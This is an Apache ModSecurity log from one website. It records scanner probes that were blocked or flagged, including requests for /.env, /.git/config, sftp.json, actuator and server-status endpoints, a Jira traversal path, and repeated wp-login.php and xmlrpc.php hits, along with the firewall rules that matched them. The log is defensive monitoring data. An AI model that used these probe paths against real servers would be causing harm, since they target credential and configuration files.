[Wed Nov 26 16:44:29.105177 2025] [:error] [pid 46443:tid 46460] [client 68.183.180.73:53986] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/api-docs/swagger.json"] [unique_id "aSa97cLmDsnHrj-QFB-tKgAAAE8"]
[Wed Nov 26 16:44:29.369136 2025] [:error] [pid 6471:tid 6474] [client 68.183.180.73:53990] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/api/swagger.json"] [unique_id "aSa97eh3Z9TZLlRuTiNcPgAAAIA"]
[Wed Nov 26 16:44:29.631436 2025] [:error] [pid 45685:tid 45766] [client 68.183.180.73:53998] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/@vite/env"] [unique_id "aSa97Vj3f_NRdgU0DQ6zWwAAARg"]
[Wed Nov 26 16:44:29.894497 2025] [:error] [pid 45683:tid 45690] [client 68.183.180.73:54000] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/actuator/env"] [unique_id "aSa97RX1gQgNFW_222qE1wAAAUI"]
[Wed Nov 26 16:44:30.163135 2025] [:error] [pid 46443:tid 46450] [client 68.183.180.73:54012] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aSa97sLmDsnHrj-QFB-tKwAAAEU"]
[Wed Nov 26 16:44:30.427392 2025] [:error] [pid 45683:tid 45698] [client 68.183.180.73:54016] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server"] [unique_id "aSa97hX1gQgNFW_222qE2AAAAUo"]
[Wed Nov 26 16:44:30.691194 2025] [:error] [pid 45683:tid 45708] [client 68.183.180.73:54020] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aSa97hX1gQgNFW_222qE2QAAAVQ"]
[Wed Nov 26 16:44:30.954355 2025] [:error] [pid 45685:tid 45749] [client 68.183.180.73:54028] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about"] [unique_id "aSa97lj3f_NRdgU0DQ6zXAAAAQc"]
[Wed Nov 26 16:44:31.217347 2025] [:error] [pid 46443:tid 46454] [client 68.183.180.73:54030] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/debug/default/view"] [unique_id "aSa978LmDsnHrj-QFB-tLAAAAEk"]
[Wed Nov 26 16:44:31.480648 2025] [:error] [pid 45683:tid 45694] [client 68.183.180.73:54036] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2/_catalog"] [unique_id "aSa97xX1gQgNFW_222qE2gAAAUY"]
[Wed Nov 26 16:44:31.744081 2025] [:error] [pid 45685:tid 45748] [client 68.183.180.73:54052] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aSa971j3f_NRdgU0DQ6zXgAAAQY"]
[Wed Nov 26 16:44:32.007220 2025] [:error] [pid 45684:tid 45716] [client 68.183.180.73:54068] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/server-status"] [unique_id "aSa98Pg5LMxwI4-PD1cOYQAAAAE"]
[Wed Nov 26 16:44:32.273038 2025] [:error] [pid 45684:tid 45732] [client 68.183.180.73:54072] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/login.action"] [unique_id "aSa98Pg5LMxwI4-PD1cOYgAAABE"]
[Wed Nov 26 16:44:32.535614 2025] [:error] [pid 46443:tid 46457] [client 68.183.180.73:54084] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/_all_dbs"] [unique_id "aSa98MLmDsnHrj-QFB-tLwAAAEw"]
[Wed Nov 26 16:44:32.798776 2025] [:error] [pid 46443:tid 46463] [client 68.183.180.73:54096] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.DS_Store"] [unique_id "aSa98MLmDsnHrj-QFB-tMQAAAFI"]
[Wed Nov 26 16:44:33.061486 2025] [:error] [pid 45684:tid 45730] [client 68.183.180.73:54104] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "aSa98fg5LMxwI4-PD1cOYwAAAA8"]
[Wed Nov 26 16:44:33.324703 2025] [:error] [pid 45769:tid 45790] [client 68.183.180.73:54110] [client 68.183.180.73] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSa98VdG5Eht9c3yy4P8hQAAAdI"]
[Wed Nov 26 16:44:33.588848 2025] [:error] [pid 45684:tid 45725] [client 68.183.180.73:54116] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aSa98fg5LMxwI4-PD1cOZQAAAAo"]
[Wed Nov 26 16:44:33.851984 2025] [:error] [pid 46443:tid 46455] [client 68.183.180.73:54122] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/config.json"] [unique_id "aSa98cLmDsnHrj-QFB-tNAAAAEo"]
[Wed Nov 26 16:44:34.116687 2025] [:error] [pid 46443:tid 46461] [client 68.183.180.73:54136] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/telescope/requests"] [unique_id "aSa98sLmDsnHrj-QFB-tNwAAAFA"]
[Wed Nov 26 16:44:34.381877 2025] [:error] [pid 46443:tid 46458] [client 68.183.180.73:54142] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/info.php"] [unique_id "aSa98sLmDsnHrj-QFB-tOQAAAE0"]
[Wed Nov 26 16:44:34.645748 2025] [:error] [pid 46443:tid 46454] [client 68.183.180.73:54148] [client 68.183.180.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSa98sLmDsnHrj-QFB-tOgAAAEk"]
[Wed Nov 26 16:56:15.759046 2025] [:error] [pid 6471:tid 6497] [client 156.67.105.115:52622] [client 156.67.105.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.105.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSbAr-h3Z9TZLlRuTiNhLQAAAJc"]
[Wed Nov 26 17:13:29.178935 2025] [:error] [pid 45685:tid 45760] [client 185.223.152.132:38213] [client 185.223.152.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.132, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbEuVj3f_NRdgU0DQ67aQAAARI"]
[Wed Nov 26 17:14:28.139783 2025] [:error] [pid 6471:tid 6481] [client 185.223.152.72:37917] [client 185.223.152.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.72, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbE9Oh3Z9TZLlRuTiNpDQAAAIc"]
[Wed Nov 26 18:05:53.924652 2025] [:error] [pid 6471:tid 6480] [client 54.38.208.175:56650] [client 54.38.208.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.208.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSbRAeh3Z9TZLlRuTiN5BQAAAIY"]
[Wed Nov 26 18:19:00.239764 2025] [:error] [pid 45769:tid 45776] [client 132.148.180.57:57340] [client 132.148.180.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 132.148.180.57, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbUFFdG5Eht9c3yy4MWDAAAAcQ"]
[Wed Nov 26 18:19:05.395214 2025] [:error] [pid 45684:tid 45739] [client 132.148.180.57:17810] [client 132.148.180.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 132.148.180.57, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbUGfg5LMxwI4-PD1cvQAAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 26 18:20:56.006387 2025] [:error] [pid 45683:tid 45699] [client 185.223.152.133:50485] [client 185.223.152.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbUiBX1gQgNFW_222qd7QAAAUs"]
[Wed Nov 26 18:26:57.114659 2025] [:error] [pid 45685:tid 45764] [client 185.223.152.4:22341] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbV8Vj3f_NRdgU0DQ7MKAAAARY"]
[Wed Nov 26 18:29:56.204748 2025] [:error] [pid 45684:tid 45730] [client 185.223.152.124:31397] [client 185.223.152.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbWpPg5LMxwI4-PD1c0VwAAAA8"]
[Wed Nov 26 18:38:01.485849 2025] [:error] [pid 46443:tid 46449] [client 185.223.152.76:33713] [client 185.223.152.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbYicLmDsnHrj-QFB_SqgAAAEQ"]
[Wed Nov 26 18:38:39.756843 2025] [:error] [pid 6471:tid 6485] [client 185.223.152.147:45565] [client 185.223.152.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbYr-h3Z9TZLlRuTiOC6gAAAIs"]
[Wed Nov 26 18:47:34.453668 2025] [:error] [pid 45683:tid 45691] [client 185.223.152.140:52247] [client 185.223.152.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.140, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbaxhX1gQgNFW_222qkVwAAAUM"]
[Wed Nov 26 18:47:51.606178 2025] [:error] [pid 45685:tid 45744] [client 185.223.152.80:43159] [client 185.223.152.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSba11j3f_NRdgU0DQ7RMwAAAQI"]
[Wed Nov 26 18:57:34.998153 2025] [:error] [pid 45684:tid 45726] [client 185.223.152.83:46217] [client 185.223.152.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.83, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbdHvg5LMxwI4-PD1dCSwAAAAs"]
[Wed Nov 26 19:06:38.973976 2025] [:error] [pid 45769:tid 45795] [client 185.223.152.66:34873] [client 185.223.152.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.66, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbfPldG5Eht9c3yy4MhJgAAAdc"]
[Wed Nov 26 19:10:29.294903 2025] [:error] [pid 45769:tid 45780] [client 54.159.180.90:47300] [client 54.159.180.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.159.180.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSbgJVdG5Eht9c3yy4MhzgAAAcg"]
[Wed Nov 26 19:11:01.382658 2025] [:error] [pid 45683:tid 45707] [client 185.223.152.141:54009] [client 185.223.152.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbgRRX1gQgNFW_222qoWQAAAVM"]
[Wed Nov 26 19:16:00.319527 2025] [:error] [pid 45769:tid 45784] [client 185.223.152.81:45429] [client 185.223.152.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbhcFdG5Eht9c3yy4MixwAAAcw"]
[Wed Nov 26 19:24:21.612776 2025] [:error] [pid 46443:tid 46455] [client 185.223.152.254:36667] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbjZcLmDsnHrj-QFB_h2QAAAEo"]
[Wed Nov 26 19:26:03.652764 2025] [:error] [pid 46443:tid 46469] [client 185.223.152.77:49613] [client 185.223.152.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbjy8LmDsnHrj-QFB_iUgAAAFg"]
[Wed Nov 26 19:27:41.153219 2025] [:error] [pid 46443:tid 46463] [client 43.130.57.46:52620] [client 43.130.57.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSbkLcLmDsnHrj-QFB_ihQAAAFI"]
[Wed Nov 26 19:35:58.046668 2025] [:error] [pid 46443:tid 46445] [client 185.223.152.73:49649] [client 185.223.152.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbmHsLmDsnHrj-QFB_lmAAAAEA"]
[Wed Nov 26 19:38:35.281268 2025] [:error] [pid 6471:tid 6484] [client 185.223.152.141:37093] [client 185.223.152.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.141, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbmu-h3Z9TZLlRuTiOTVAAAAIo"]
[Wed Nov 26 19:45:55.646220 2025] [:error] [pid 45684:tid 45730] [client 185.223.152.86:35303] [client 185.223.152.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSboc_g5LMxwI4-PD1dT3AAAAA8"]
[Wed Nov 26 19:48:36.252031 2025] [:error] [pid 45685:tid 45749] [client 185.223.152.126:43761] [client 185.223.152.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbpFFj3f_NRdgU0DQ7e_gAAAQc"]
[Wed Nov 26 20:05:23.053482 2025] [:error] [pid 45685:tid 45748] [client 185.223.152.4:62877] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbtA1j3f_NRdgU0DQ7ikQAAAQY"]
[Wed Nov 26 20:07:56.144488 2025] [:error] [pid 6471:tid 6492] [client 185.223.152.126:35909] [client 185.223.152.126] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.126, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbtnOh3Z9TZLlRuTiObBAAAAJI"]
[Wed Nov 26 20:15:16.289806 2025] [:error] [pid 45683:tid 45706] [client 185.223.152.85:41149] [client 185.223.152.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbvVBX1gQgNFW_222q2WwAAAVI"]
[Wed Nov 26 20:17:44.437787 2025] [:error] [pid 6471:tid 6483] [client 157.230.24.5:39242] [client 157.230.24.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.24.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSbv6Oh3Z9TZLlRuTiOdQgAAAIk"]
[Wed Nov 26 20:25:03.088799 2025] [:error] [pid 6471:tid 6486] [client 185.223.152.91:43669] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbxn-h3Z9TZLlRuTiOe9wAAAIw"]
[Wed Nov 26 20:27:42.845725 2025] [:error] [pid 46443:tid 46459] [client 185.223.152.138:49953] [client 185.223.152.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbyPsLmDsnHrj-QFB_2XQAAAE4"]
[Wed Nov 26 20:34:33.571672 2025] [:error] [pid 6471:tid 6487] [client 185.223.152.89:53229] [client 185.223.152.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSbz2eh3Z9TZLlRuTiOhZgAAAI0"]
[Wed Nov 26 20:40:38.067951 2025] [:error] [pid 45769:tid 45796] [client 185.223.152.123:46149] [client 185.223.152.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb1RldG5Eht9c3yy4MzNgAAAdg"]
[Wed Nov 26 20:44:09.720270 2025] [:error] [pid 46443:tid 46456] [client 185.223.152.79:45283] [client 185.223.152.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSb2GcLmDsnHrj-QFB_6lQAAAEs"]
